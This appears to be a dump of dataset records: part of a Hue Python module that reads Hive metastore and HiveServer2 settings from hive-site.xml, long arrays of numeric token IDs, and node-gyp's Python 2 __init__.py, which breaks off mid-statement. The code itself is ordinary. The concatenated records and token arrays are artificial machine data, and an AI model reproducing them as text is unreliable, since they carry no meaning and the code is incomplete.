_CNF_HIVESERVER2_AUTHENTICATION = 'hive.server2.authentication' _CNF_HIVESERVER2_IMPERSONATION = 'hive.server2.enable.doAs' _CNF_HIVESERVER2_USE_SSL = 'hive.server2.use.SSL' _CNF_HIVESERVER2_TRANSPORT_MODE = 'hive.server2.transport.mode' _CNF_HIVESERVER2_THRIFT_HTTP_PORT = 'hive.server2.thrift.http.port' _CNF_HIVESERVER2_THRIFT_HTTP_PATH = 'hive.server2.thrift.http.path' # Host is whatever up to the colon. Allow and ignore a trailing slash. _THRIFT_URI_RE = re.compile("^thrift://([^:]+):(\d+)[/]?$") class MalformedHiveSiteException(Exception): """Parsing error class used internally""" pass def reset(): """Reset the cached conf""" global _HIVE_SITE_DICT global _METASTORE_LOC_CACHE _HIVE_SITE_DICT = None _METASTORE_LOC_CACHE = None def get_conf(): """get_conf() -> ConfParse object for hive-site.xml""" if _HIVE_SITE_DICT is None: _parse_hive_site() return _HIVE_SITE_DICT def get_metastore(): """ Get first metastore information from local hive-site.xml. """ global _METASTORE_LOC_CACHE if not _METASTORE_LOC_CACHE: thrift_uris = get_conf().get(_CNF_METASTORE_URIS) is_local = thrift_uris is None or thrift_uris == '' if not is_local: use_sasl = str(get_conf().get(_CNF_METASTORE_SASL, 'false')).lower() == 'true' thrift_uri = thrift_uris.split(",")[0] # First URI host = socket.getfqdn() match = _THRIFT_URI_RE.match(thrift_uri) if not match: LOG.error('Cannot understand remote metastore uri "%s"' % thrift_uri) else: host, port = match.groups() kerberos_principal = security_util.get_kerberos_principal(get_conf().get(_CNF_METASTORE_KERBEROS_PRINCIPAL, None), host) _METASTORE_LOC_CACHE = { 'use_sasl': use_sasl, 'thrift_uri': thrift_uri, 'kerberos_principal': kerberos_principal } else: LOG.error('Hue requires a remote metastore configuration') return _METASTORE_LOC_CACHE def get_hiveserver2_kerberos_principal(hostname_or_ip): """ Retrieves principal for HiveServer 2. Raises socket.herror """ fqdn = security_util.get_fqdn(hostname_or_ip) # Get kerberos principal and replace host pattern principal = get_conf().get(_CNF_HIVESERVER2_KERBEROS_PRINCIPAL, None) if principal: return security_util.get_kerberos_principal(principal, fqdn) else: return None def get_metastore_warehouse_dir(): return get_conf().get(_CNF_METASTORE_WAREHOUSE_DIR, '/user/hive/warehouse') def get_hiveserver2_authentication(): return get_conf().get(_CNF_HIVESERVER2_AUTHENTICATION, 'NONE').upper() # NONE == PLAIN SASL def hiveserver2_impersonation_enabled(): return get_conf().get(_CNF_HIVESERVER2_IMPERSONATION, 'FALSE').upper() == 'TRUE' def hiveserver2_jdbc_url(): return 'jdbc:hive2://%s:%s/default' % (beeswax.conf.HIVE_SERVER_HOST.get(), beeswax.conf.HIVE_SERVER_PORT.get()) def hiveserver2_use_ssl(): return get_conf().get(_CNF_HIVESERVER2_USE_SSL, 'FALSE').upper() == 'TRUE' def hiveserver2_transport_mode(): return get_conf().get(_CNF_HIVESERVER2_TRANSPORT_MODE, 'TCP').upper() def hiveserver2_thrift_http_port(): return get_conf().get(_CNF_HIVESERVER2_THRIFT_HTTP_PORT, '10001') def hiveserver2_thrift_http_path(): return get_conf().get(_CNF_HIVESERVER2_THRIFT_HTTP_PATH, 'cliservice') def _parse_hive_site(): """ Parse hive-site.xml and store in _HIVE_SITE_DICT """ global _HIVE_SITE_DICT global _HIVE_SITE_PATH _HIVE_SITE_PATH = os.path.join(beeswax.conf.HIVE_CONF_DIR.get(), 'hive-site.xml') try: data = file(_HIVE_SITE_PATH, 'r').read() except IOError, err: if err.errno != errno.ENOENT: LOG.error('Cannot read from "%s": %s' % (_HIVE_SITE_PATH, err)) return # Keep going and make an empty ConfParse data = "" _HIVE_SITE_DICT = confparse.ConfParse(data)
apache-2.0
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 3909, 370, 5980, 3786, 345, 12, 3277, 14, 1334, 1373, 199, 3, 503, 1655, 11615, 4190, 14024, 14, 221, 1666, 314, 12840, 570, 199, 3, 1854, 543, 642, 1736, 367, 4722, 2556, 199, 3, 12602, 4248, 12715, 14, 221, 5980, 3786, 345, 12, 3277, 14, 12378, 642, 570, 199, 3, 370, 1265, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 199, 3, 298, 3761, 3547, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 199, 3, 543, 314, 844, 14, 221, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 199, 624, 199, 4433, 367, 7664, 29134, 13, 2124, 14, 1652, 199, 624, 199, 199, 646, 7554, 199, 646, 2050, 199, 646, 747, 14, 515, 199, 646, 295, 199, 646, 2838, 199, 199, 504, 19763, 14, 773, 492, 6391, 63, 1974, 199, 504, 29252, 492, 3743, 1122, 199, 199, 646, 506, 397, 758, 88, 14, 2190, 421, 199, 4947, 275, 2050, 14, 5572, 3460, 354, 3368, 199, 199, 63, 40, 5399, 63, 7917, 63, 3243, 275, 488, 8295, 327, 6912, 370, 29134, 13, 2124, 14, 1652, 199, 63, 40, 5399, 63, 7917, 63, 12511, 275, 488, 8295, 327, 437, 2600, 402, 536, 15, 585, 1101, 1511, 199, 63, 10614, 16169, 63, 5752, 63, 8677, 275, 488, 199, 199, 63, 12874, 38, 63, 10614, 16169, 63, 15319, 44, 275, 283, 17230, 14, 2024, 1617, 14, 22601, 76, 14, 3827, 7, 199, 63, 12874, 38, 63, 10614, 16169, 63, 1230, 1311, 275, 283, 17230, 14, 2024, 1617, 14, 17656, 7, 199, 63, 12874, 38, 63, 10614, 16169, 63, 19972, 12003, 3100, 63, 3311, 25205, 1772, 748, 275, 283, 17230, 14, 2024, 1617, 14, 2570, 23920, 14, 19200, 7, 199, 63, 12874, 38, 63, 10614, 16169, 63, 3695, 2979, 4701, 63, 3022, 275, 283, 17230, 14, 2024, 1617, 14, 12806, 14, 694, 7, 199, 199, 63, 12874, 38, 63, 40, 6882, 654, 540, 2111, 18, 63, 19972, 12003, 3100, 63, 3311, 25205, 1772, 748, 275, 283, 17230, 14, 1000, 18, 14, 11725, 14, 2570, 23920, 14, 19200, 7, 199, 63, 12874, 38, 63, 40, 6882, 654, 540, 2111, 18, 63, 29599, 275, 283, 17230, 14, 1000, 18, 14, 11725, 7, 199, 63, 12874, 38, 63, 40, 6882, 654, 540, 2111, 18, 63, 1469, 30973, 2594, 275, 283, 17230, 14, 1000, 18, 14, 4296, 14, 1117, 2822, 7, 199, 199, 63, 12874, 38, 63, 40, 6882, 654, 540, 2111, 18, 63, 4701, 63, 5413, 275, 283, 17230, 14, 1000, 18, 14, 1180, 14, 5413, 7, 199, 199, 63, 12874, 38, 63, 40, 6882, 654, 540, 2111, 18, 63, 12191, 3657, 63, 6963, 275, 283, 17230, 14, 1000, 18, 14, 5545, 14, 632, 7, 199, 63, 12874, 38, 63, 40, 6882, 654, 540, 2111, 18, 63, 2080, 6129, 2161, 63, 2856, 63, 3657, 275, 283, 17230, 14, 1000, 18, 14, 8430, 14, 1014, 14, 719, 7, 199, 63, 12874, 38, 63, 40, 6882, 654, 540, 2111, 18, 63, 2080, 6129, 2161, 63, 2856, 63, 3243, 275, 283, 17230, 14, 1000, 18, 14, 8430, 14, 1014, 14, 515, 7, 421, 199, 3, 10891, 365, 15685, 1536, 370, 314, 18307, 14, 9812, 436, 3686, 282, 8520, 14457, 14, 199, 63, 2080, 6129, 2161, 63, 7639, 63, 907, 275, 295, 14, 2014, 18523, 8430, 921, 7059, 26, 2807, 304, 2961, 68, 11, 2788, 15, 11843, 22550, 421, 199, 533, 603, 24012, 30232, 8972, 1726, 8, 1726, 304, 523, 408, 17412, 1125, 1021, 1202, 14448, 624, 523, 986, 199, 199, 318, 5305, 837, 523, 408, 9637, 314, 6328, 3743, 624, 523, 2288, 485, 40, 5399, 63, 7917, 63, 12511, 523, 2288, 485, 10614, 16169, 63, 5752, 63, 8677, 523, 485, 40, 5399, 63, 7917, 63, 12511, 275, 488, 523, 485, 10614, 16169, 63, 5752, 63, 8677, 275, 488, 421, 199, 318, 664, 63, 2190, 837, 523, 408, 362, 63, 2190, 342, 1035, 221, 32539, 4003, 909, 367, 29134, 13, 2124, 14, 1652, 624, 523, 340, 485, 40, 5399, 63, 7917, 63, 12511, 365, 488, 26, 272, 485, 1122, 63, 17230, 63, 2124, 342, 523, 372, 485, 40, 5399, 63, 7917, 63, 12511, 421, 199, 318, 664, 63, 2024, 1617, 837, 523, 408, 523, 2372, 1642, 3404, 1617, 2556, 687, 2257, 29134, 13, 2124, 14, 1652, 14, 523, 408, 523, 2288, 485, 10614, 16169, 63, 5752, 63, 8677, 523, 340, 440, 485, 10614, 16169, 63, 5752, 63, 8677, 26, 272, 17199, 63, 17656, 275, 664, 63, 2190, 1252, 362, 1547, 12874, 38, 63, 10614, 16169, 63, 1230, 1311, 9, 272, 365, 63, 1832, 275, 17199, 63, 17656, 365, 488, 503, 17199, 63, 17656, 508, 2125, 339, 340, 440, 365, 63, 1832, 26, 489, 675, 63, 22601, 76, 275, 620, 8, 362, 63, 2190, 1252, 362, 1547, 12874, 38, 63, 10614, 16169, 63, 15319, 44, 12, 283, 3910, 11103, 2325, 342, 508, 283, 2052, 7, 489, 17199, 63, 2302, 275, 17199, 63, 17656, 14, 1294, 11854, 9981, 16, 61, 327, 7758, 9022, 489, 1591, 275, 2838, 14, 362, 18364, 342, 489, 1336, 275, 485, 2080, 6129, 2161, 63, 7639, 63, 907, 14, 1431, 8, 8430, 63, 2302, 9, 489, 340, 440, 1336, 26, 267, 5051, 14, 705, 360, 6612, 20647, 3982, 3404, 1617, 5108, 2071, 83, 4507, 450, 17199, 63, 2302, 9, 489, 587, 26, 267, 1591, 12, 1844, 275, 1336, 14, 2634, 342, 489, 4303, 23920, 63, 19200, 275, 6391, 63, 1974, 14, 362, 63, 2570, 23920, 63, 19200, 8, 362, 63, 2190, 1252, 362, 1547, 12874, 38, 63, 10614, 16169, 63, 19972, 12003, 3100, 63, 3311, 25205, 1772, 748, 12, 488, 395, 1591, 9, 2541, 485, 10614, 16169, 63, 5752, 63, 8677, 275, 469 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 3, 3909, 370, 5980, 3786, 345, 12, 3277, 14, 1334, 1373, 199, 3, 503, 1655, 11615, 4190, 14024, 14, 221, 1666, 314, 12840, 570, 199, 3, 1854, 543, 642, 1736, 367, 4722, 2556, 199, 3, 12602, 4248, 12715, 14, 221, 5980, 3786, 345, 12, 3277, 14, 12378, 642, 570, 199, 3, 370, 1265, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 199, 3, 298, 3761, 3547, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 199, 3, 543, 314, 844, 14, 221, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 199, 624, 199, 4433, 367, 7664, 29134, 13, 2124, 14, 1652, 199, 624, 199, 199, 646, 7554, 199, 646, 2050, 199, 646, 747, 14, 515, 199, 646, 295, 199, 646, 2838, 199, 199, 504, 19763, 14, 773, 492, 6391, 63, 1974, 199, 504, 29252, 492, 3743, 1122, 199, 199, 646, 506, 397, 758, 88, 14, 2190, 421, 199, 4947, 275, 2050, 14, 5572, 3460, 354, 3368, 199, 199, 63, 40, 5399, 63, 7917, 63, 3243, 275, 488, 8295, 327, 6912, 370, 29134, 13, 2124, 14, 1652, 199, 63, 40, 5399, 63, 7917, 63, 12511, 275, 488, 8295, 327, 437, 2600, 402, 536, 15, 585, 1101, 1511, 199, 63, 10614, 16169, 63, 5752, 63, 8677, 275, 488, 199, 199, 63, 12874, 38, 63, 10614, 16169, 63, 15319, 44, 275, 283, 17230, 14, 2024, 1617, 14, 22601, 76, 14, 3827, 7, 199, 63, 12874, 38, 63, 10614, 16169, 63, 1230, 1311, 275, 283, 17230, 14, 2024, 1617, 14, 17656, 7, 199, 63, 12874, 38, 63, 10614, 16169, 63, 19972, 12003, 3100, 63, 3311, 25205, 1772, 748, 275, 283, 17230, 14, 2024, 1617, 14, 2570, 23920, 14, 19200, 7, 199, 63, 12874, 38, 63, 10614, 16169, 63, 3695, 2979, 4701, 63, 3022, 275, 283, 17230, 14, 2024, 1617, 14, 12806, 14, 694, 7, 199, 199, 63, 12874, 38, 63, 40, 6882, 654, 540, 2111, 18, 63, 19972, 12003, 3100, 63, 3311, 25205, 1772, 748, 275, 283, 17230, 14, 1000, 18, 14, 11725, 14, 2570, 23920, 14, 19200, 7, 199, 63, 12874, 38, 63, 40, 6882, 654, 540, 2111, 18, 63, 29599, 275, 283, 17230, 14, 1000, 18, 14, 11725, 7, 199, 63, 12874, 38, 63, 40, 6882, 654, 540, 2111, 18, 63, 1469, 30973, 2594, 275, 283, 17230, 14, 1000, 18, 14, 4296, 14, 1117, 2822, 7, 199, 199, 63, 12874, 38, 63, 40, 6882, 654, 540, 2111, 18, 63, 4701, 63, 5413, 275, 283, 17230, 14, 1000, 18, 14, 1180, 14, 5413, 7, 199, 199, 63, 12874, 38, 63, 40, 6882, 654, 540, 2111, 18, 63, 12191, 3657, 63, 6963, 275, 283, 17230, 14, 1000, 18, 14, 5545, 14, 632, 7, 199, 63, 12874, 38, 63, 40, 6882, 654, 540, 2111, 18, 63, 2080, 6129, 2161, 63, 2856, 63, 3657, 275, 283, 17230, 14, 1000, 18, 14, 8430, 14, 1014, 14, 719, 7, 199, 63, 12874, 38, 63, 40, 6882, 654, 540, 2111, 18, 63, 2080, 6129, 2161, 63, 2856, 63, 3243, 275, 283, 17230, 14, 1000, 18, 14, 8430, 14, 1014, 14, 515, 7, 421, 199, 3, 10891, 365, 15685, 1536, 370, 314, 18307, 14, 9812, 436, 3686, 282, 8520, 14457, 14, 199, 63, 2080, 6129, 2161, 63, 7639, 63, 907, 275, 295, 14, 2014, 18523, 8430, 921, 7059, 26, 2807, 304, 2961, 68, 11, 2788, 15, 11843, 22550, 421, 199, 533, 603, 24012, 30232, 8972, 1726, 8, 1726, 304, 523, 408, 17412, 1125, 1021, 1202, 14448, 624, 523, 986, 199, 199, 318, 5305, 837, 523, 408, 9637, 314, 6328, 3743, 624, 523, 2288, 485, 40, 5399, 63, 7917, 63, 12511, 523, 2288, 485, 10614, 16169, 63, 5752, 63, 8677, 523, 485, 40, 5399, 63, 7917, 63, 12511, 275, 488, 523, 485, 10614, 16169, 63, 5752, 63, 8677, 275, 488, 421, 199, 318, 664, 63, 2190, 837, 523, 408, 362, 63, 2190, 342, 1035, 221, 32539, 4003, 909, 367, 29134, 13, 2124, 14, 1652, 624, 523, 340, 485, 40, 5399, 63, 7917, 63, 12511, 365, 488, 26, 272, 485, 1122, 63, 17230, 63, 2124, 342, 523, 372, 485, 40, 5399, 63, 7917, 63, 12511, 421, 199, 318, 664, 63, 2024, 1617, 837, 523, 408, 523, 2372, 1642, 3404, 1617, 2556, 687, 2257, 29134, 13, 2124, 14, 1652, 14, 523, 408, 523, 2288, 485, 10614, 16169, 63, 5752, 63, 8677, 523, 340, 440, 485, 10614, 16169, 63, 5752, 63, 8677, 26, 272, 17199, 63, 17656, 275, 664, 63, 2190, 1252, 362, 1547, 12874, 38, 63, 10614, 16169, 63, 1230, 1311, 9, 272, 365, 63, 1832, 275, 17199, 63, 17656, 365, 488, 503, 17199, 63, 17656, 508, 2125, 339, 340, 440, 365, 63, 1832, 26, 489, 675, 63, 22601, 76, 275, 620, 8, 362, 63, 2190, 1252, 362, 1547, 12874, 38, 63, 10614, 16169, 63, 15319, 44, 12, 283, 3910, 11103, 2325, 342, 508, 283, 2052, 7, 489, 17199, 63, 2302, 275, 17199, 63, 17656, 14, 1294, 11854, 9981, 16, 61, 327, 7758, 9022, 489, 1591, 275, 2838, 14, 362, 18364, 342, 489, 1336, 275, 485, 2080, 6129, 2161, 63, 7639, 63, 907, 14, 1431, 8, 8430, 63, 2302, 9, 489, 340, 440, 1336, 26, 267, 5051, 14, 705, 360, 6612, 20647, 3982, 3404, 1617, 5108, 2071, 83, 4507, 450, 17199, 63, 2302, 9, 489, 587, 26, 267, 1591, 12, 1844, 275, 1336, 14, 2634, 342, 489, 4303, 23920, 63, 19200, 275, 6391, 63, 1974, 14, 362, 63, 2570, 23920, 63, 19200, 8, 362, 63, 2190, 1252, 362, 1547, 12874, 38, 63, 10614, 16169, 63, 19972, 12003, 3100, 63, 3311, 25205, 1772, 748, 12, 488, 395, 1591, 9, 2541, 485, 10614, 16169, 63, 5752, 63, 8677, 275, 469, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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node_modules/node-gyp/gyp/pylib/gyp/__init__.py
1524
22178
#!/usr/bin/env python # Copyright (c) 2012 Google Inc. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. import copy import gyp.input import optparse import os.path import re import shlex import sys import traceback from gyp.common import GypError # Default debug modes for GYP debug = {} # List of "official" debug modes, but you can use anything you like. DEBUG_GENERAL = 'general' DEBUG_VARIABLES = 'variables' DEBUG_INCLUDES = 'includes' def DebugOutput(mode, message, *args): if 'all' in gyp.debug or mode in gyp.debug: ctx = ('unknown', 0, 'unknown') try: f = traceback.extract_stack(limit=2) if f: ctx = f[0][:3] except: pass if args: message %= args print '%s:%s:%d:%s %s' % (mode.upper(), os.path.basename(ctx[0]), ctx[1], ctx[2], message) def FindBuildFiles(): extension = '.gyp' files = os.listdir(os.getcwd()) build_files = [] for file in files: if file.endswith(extension): build_files.append(file) return build_files def Load(build_files, format, default_variables={}, includes=[], depth='.', params=None, check=False, circular_check=True, duplicate_basename_check=True): """ Loads one or more specified build files. default_variables and includes will be copied before use. Returns the generator for the specified format and the data returned by loading the specified build files. """ if params is None: params = {} if '-' in format: format, params['flavor'] = format.split('-', 1) default_variables = copy.copy(default_variables) # Default variables provided by this program and its modules should be # named WITH_CAPITAL_LETTERS to provide a distinct "best practice" namespace, # avoiding collisions with user and automatic variables. default_variables['GENERATOR'] = format default_variables['GENERATOR_FLAVOR'] = params.get('flavor', '') # Format can be a custom python file, or by default the name of a module # within gyp.generator. if format.endswith('.py'): generator_name = os.path.splitext(format)[0] path, generator_name = os.path.split(generator_name) # Make sure the path to the custom generator is in sys.path # Don't worry about removing it once we are done. Keeping the path # to each generator that is used in sys.path is likely harmless and # arguably a good idea. path = os.path.abspath(path) if path not in sys.path: sys.path.insert(0, path) else: generator_name = 'gyp.generator.' + format # These parameters are passed in order (as opposed to by key) # because ActivePython cannot handle key parameters to __import__. generator = __import__(generator_name, globals(), locals(), generator_name) for (key, val) in generator.generator_default_variables.items(): default_variables.setdefault(key, val) # Give the generator the opportunity to set additional variables based on # the params it will receive in the output phase. if getattr(generator, 'CalculateVariables', None): generator.CalculateVariables(default_variables, params) # Give the generator the opportunity to set generator_input_info based on # the params it will receive in the output phase. if getattr(generator, 'CalculateGeneratorInputInfo', None): generator.CalculateGeneratorInputInfo(params) # Fetch the generator specific info that gets fed to input, we use getattr # so we can default things and the generators only have to provide what # they need. generator_input_info = { 'non_configuration_keys': getattr(generator, 'generator_additional_non_configuration_keys', []), 'path_sections': getattr(generator, 'generator_additional_path_sections', []), 'extra_sources_for_rules': getattr(generator, 'generator_extra_sources_for_rules', []), 'generator_supports_multiple_toolsets': getattr(generator, 'generator_supports_multiple_toolsets', False), 'generator_wants_static_library_dependencies_adjusted': getattr(generator, 'generator_wants_static_library_dependencies_adjusted', True), 'generator_wants_sorted_dependencies': getattr(generator, 'generator_wants_sorted_dependencies', False), 'generator_filelist_paths': getattr(generator, 'generator_filelist_paths', None), } # Process the input specific to this generator. result = gyp.input.Load(build_files, default_variables, includes[:], depth, generator_input_info, check, circular_check, duplicate_basename_check, params['parallel'], params['root_targets']) return [generator] + result def NameValueListToDict(name_value_list): """ Takes an array of strings of the form 'NAME=VALUE' and creates a dictionary of the pairs. If a string is simply NAME, then the value in the dictionary is set to True. If VALUE can be converted to an integer, it is. """ result = { } for item in name_value_list: tokens = item.split('=', 1) if len(tokens) == 2: # If we can make it an int, use that, otherwise, use the string. try: token_value = int(tokens[1]) except ValueError: token_value = tokens[1] # Set the variable to the supplied value. result[tokens[0]] = token_value else: # No value supplied, treat it as a boolean and set it. result[tokens[0]] = True return result def ShlexEnv(env_name): flags = os.environ.get(env_name, []) if flags: flags = shlex.split(flags) return flags def FormatOpt(opt, value): if opt.startswith('--'): return '%s=%s' % (opt, value) return opt + value def RegenerateAppendFlag(flag, values, predicate, env_name, options): """Regenerate a list of command line flags, for an option of action='append'. The |env_name|, if given, is checked in the environment and used to generate an initial list of options, then the options that were specified on the command line (given in |values|) are appended. This matches the handling of environment variables and command line flags where command line flags override the environment, while not requiring the environment to be set when the flags are used again. """ flags = [] if options.use_environment and env_name: for flag_value in ShlexEnv(env_name): value = FormatOpt(flag, predicate(flag_value)) if value in flags: flags.remove(value) flags.append(value) if values: for flag_value in values: flags.append(FormatOpt(flag, predicate(flag_value))) return flags def RegenerateFlags(options): """Given a parsed options object, and taking the environment variables into account, returns a list of flags that should regenerate an equivalent options object (even in the absence of the environment variables.) Any path options will be normalized relative to depth. The format flag is not included, as it is assumed the calling generator will set that as appropriate. """ def FixPath(path): path = gyp.common.FixIfRelativePath(path, options.depth) if not path: return os.path.curdir return path def Noop(value): return value # We always want to ignore the environment when regenerating, to avoid # duplicate or changed flags in the environment at the time of regeneration. flags = ['--ignore-environment'] for name, metadata in options._regeneration_metadata.iteritems(): opt = metadata['opt'] value = getattr(options, name) value_predicate = metadata['type'] == 'path' and FixPath or Noop action = metadata['action'] env_name = metadata['env_name'] if action == 'append': flags.extend(RegenerateAppendFlag(opt, value, value_predicate, env_name, options)) elif action in ('store', None): # None is a synonym for 'store'. if value: flags.append(FormatOpt(opt, value_predicate(value))) elif options.use_environment and env_name and os.environ.get(env_name): flags.append(FormatOpt(opt, value_predicate(os.environ.get(env_name)))) elif action in ('store_true', 'store_false'): if ((action == 'store_true' and value) or (action == 'store_false' and not value)): flags.append(opt) elif options.use_environment and env_name: print >>sys.stderr, ('Warning: environment regeneration unimplemented ' 'for %s flag %r env_name %r' % (action, opt, env_name)) else: print >>sys.stderr, ('Warning: regeneration unimplemented for action %r ' 'flag %r' % (action, opt)) return flags class RegeneratableOptionParser(optparse.OptionParser): def __init__(self): self.__regeneratable_options = {} optparse.OptionParser.__init__(self) def add_option(self, *args, **kw): """Add an option to the parser. This accepts the same arguments as OptionParser.add_option, plus the following: regenerate: can be set to False to prevent this option from being included in regeneration. env_name: name of environment variable that additional values for this option come from. type: adds type='path', to tell the regenerator that the values of this option need to be made relative to options.depth """ env_name = kw.pop('env_name', None) if 'dest' in kw and kw.pop('regenerate', True): dest = kw['dest'] # The path type is needed for regenerating, for optparse we can just treat # it as a string. type = kw.get('type') if type == 'path': kw['type'] = 'string' self.__regeneratable_options[dest] = { 'action': kw.get('action'), 'type': type, 'env_name': env_name, 'opt': args[0], } optparse.OptionParser.add_option(self, *args, **kw) def parse_args(self, *args): values, args = optparse.OptionParser.parse_args(self, *args) values._regeneration_metadata = self.__regeneratable_options return values, args def gyp_main(args): my_name = os.path.basename(sys.argv[0]) parser = RegeneratableOptionParser() usage = 'usage: %s [options ...] [build_file ...]' parser.set_usage(usage.replace('%s', '%prog')) parser.add_option('--build', dest='configs', action='append', help='configuration for build after project generation') parser.add_option('--check', dest='check', action='store_true', help='check format of gyp files') parser.add_option('--config-dir', dest='config_dir', action='store', env_name='GYP_CONFIG_DIR', default=None, help='The location for configuration files like ' 'include.gypi.') parser.add_option('-d', '--debug', dest='debug', metavar='DEBUGMODE', action='append', default=[], help='turn on a debugging ' 'mode for debugging GYP. Supported modes are "variables", ' '"includes" and "general" or "all" for all of them.') parser.add_option('-D', dest='defines', action='append', metavar='VAR=VAL', env_name='GYP_DEFINES', help='sets variable VAR to value VAL') parser.add_option('--depth', dest='depth', metavar='PATH', type='path', help='set DEPTH gyp variable to a relative path to PATH') parser.add_option('-f', '--format', dest='formats', action='append', env_name='GYP_GENERATORS', regenerate=False, help='output formats to generate') parser.add_option('-G', dest='generator_flags', action='append', default=[], metavar='FLAG=VAL', env_name='GYP_GENERATOR_FLAGS', help='sets generator flag FLAG to VAL') parser.add_option('--generator-output', dest='generator_output', action='store', default=None, metavar='DIR', type='path', env_name='GYP_GENERATOR_OUTPUT', help='puts generated build files under DIR') parser.add_option('--ignore-environment', dest='use_environment', action='store_false', default=True, regenerate=False, help='do not read options from environment variables') parser.add_option('-I', '--include', dest='includes', action='append', metavar='INCLUDE', type='path', help='files to include in all loaded .gyp files') # --no-circular-check disables the check for circular relationships between # .gyp files. These relationships should not exist, but they've only been # observed to be harmful with the Xcode generator. Chromium's .gyp files # currently have some circular relationships on non-Mac platforms, so this # option allows the strict behavior to be used on Macs and the lenient # behavior to be used elsewhere. # TODO(mark): Remove this option when http://crbug.com/35878 is fixed. parser.add_option('--no-circular-check', dest='circular_check', action='store_false', default=True, regenerate=False, help="don't check for circular relationships between files") # --no-duplicate-basename-check disables the check for duplicate basenames # in a static_library/shared_library project. Visual C++ 2008 generator # doesn't support this configuration. Libtool on Mac also generates warnings # when duplicate basenames are passed into Make generator on Mac. # TODO(yukawa): Remove this option when these legacy generators are # deprecated. parser.add_option('--no-duplicate-basename-check', dest='duplicate_basename_check', action='store_false', default=True, regenerate=False, help="don't check for duplicate basenames") parser.add_option('--no-parallel', action='store_true', default=False, help='Disable multiprocessing') parser.add_option('-S', '--suffix', dest='suffix', default='', help='suffix to add to generated files') parser.add_option('--toplevel-dir', dest='toplevel_dir', action='store', default=None, metavar='DIR', type='path', help='directory to use as the root of the source tree') parser.add_option('-R', '--root-target', dest='root_targets', action='append', metavar='TARGET', help='include only TARGET and its deep dependencies') options, build_files_arg = parser.parse_args(args) build_files = build_files_arg # Set up the configuration directory (defaults to ~/.gyp) if not options.config_dir: home = None home_dot_gyp = None if options.use_environment: home_dot_gyp = os.environ.get('GYP_CONFIG_DIR', None) if home_dot_gyp: home_dot_gyp = os.path.expanduser(home_dot_gyp) if not home_dot_gyp: home_vars = ['HOME'] if sys.platform in ('cygwin', 'win32'): home_vars.append('USERPROFILE') for home_var in home_vars: home = os.getenv(home_var) if home != None: home_dot_gyp = os.path.join(home, '.gyp') if not os.path.exists(home_dot_gyp): home_dot_gyp = None else: break else: home_dot_gyp = os.path.expanduser(options.config_dir) if home_dot_gyp and not os.path.exists(home_dot_gyp): home_dot_gyp = None if not options.formats: # If no format was given on the command line, then check the env variable. generate_formats = [] if options.use_environment: generate_formats = os.environ.get('GYP_GENERATORS', []) if generate_formats: generate_formats = re.split(r'[\s,]', generate_formats) if generate_formats: options.formats = generate_formats else: # Nothing in the variable, default based on platform. if sys.platform == 'darwin': options.formats = ['xcode'] elif sys.platform in ('win32', 'cygwin'): options.formats = ['msvs'] else: options.formats = ['make'] if not options.generator_output and options.use_environment: g_o = os.environ.get('GYP_GENERATOR_OUTPUT') if g_o: options.generator_output = g_o options.parallel = not options.no_parallel for mode in options.debug: gyp.debug[mode] = 1 # Do an extra check to avoid work when we're not debugging. if DEBUG_GENERAL in gyp.debug: DebugOutput(DEBUG_GENERAL, 'running with these options:') for option, value in sorted(options.__dict__.items()): if option[0] == '_': continue if isinstance(value, basestring): DebugOutput(DEBUG_GENERAL, " %s: '%s'", option, value) else: DebugOutput(DEBUG_GENERAL, " %s: %s", option, value) if not build_files: build_files = FindBuildFiles() if not build_files: raise GypError((usage + '\n\n%s: error: no build_file') % (my_name, my_name)) # TODO(mark): Chromium-specific hack! # For Chromium, the gyp "depth" variable should always be a relative path # to Chromium's top-level "src" directory. If no depth variable was set # on the command line, try to find a "src" directory by looking at the # absolute path to each build file's directory. The first "src" component # found will be treated as though it were the path used for --depth. if not options.depth: for build_file in build_files: build_file_dir = os.path.abspath(os.path.dirname(build_file)) build_file_dir_components = build_file_dir.split(os.path.sep) components_len = len(build_file_dir_components) for index in xrange(components_len - 1, -1, -1): if build_file_dir_components[index] == 'src': options.depth = os.path.sep.join(build_file_dir_components) break del build_file_dir_components[index] # If the inner loop found something, break without advancing to another # build file. if options.depth: break if not options.depth: raise GypError('Could not automatically locate src directory. This is' 'a temporary Chromium feature that will be removed. Use' '--depth as a workaround.') # If toplevel-dir is not set, we assume that depth is the root of our source # tree. if not options.toplevel_dir: options.toplevel_dir = options.depth # -D on the command line sets variable defaults - D isn't just for define, # it's for default. Perhaps there should be a way to force (-F?) a # variable's value so that it can't be overridden by anything else. cmdline_default_variables = {} defines = [] if options.use_environment: defines += ShlexEnv('GYP_DEFINES') if options.defines: defines += options.defines cmdline_default_variables = NameValueListToDict(defines) if 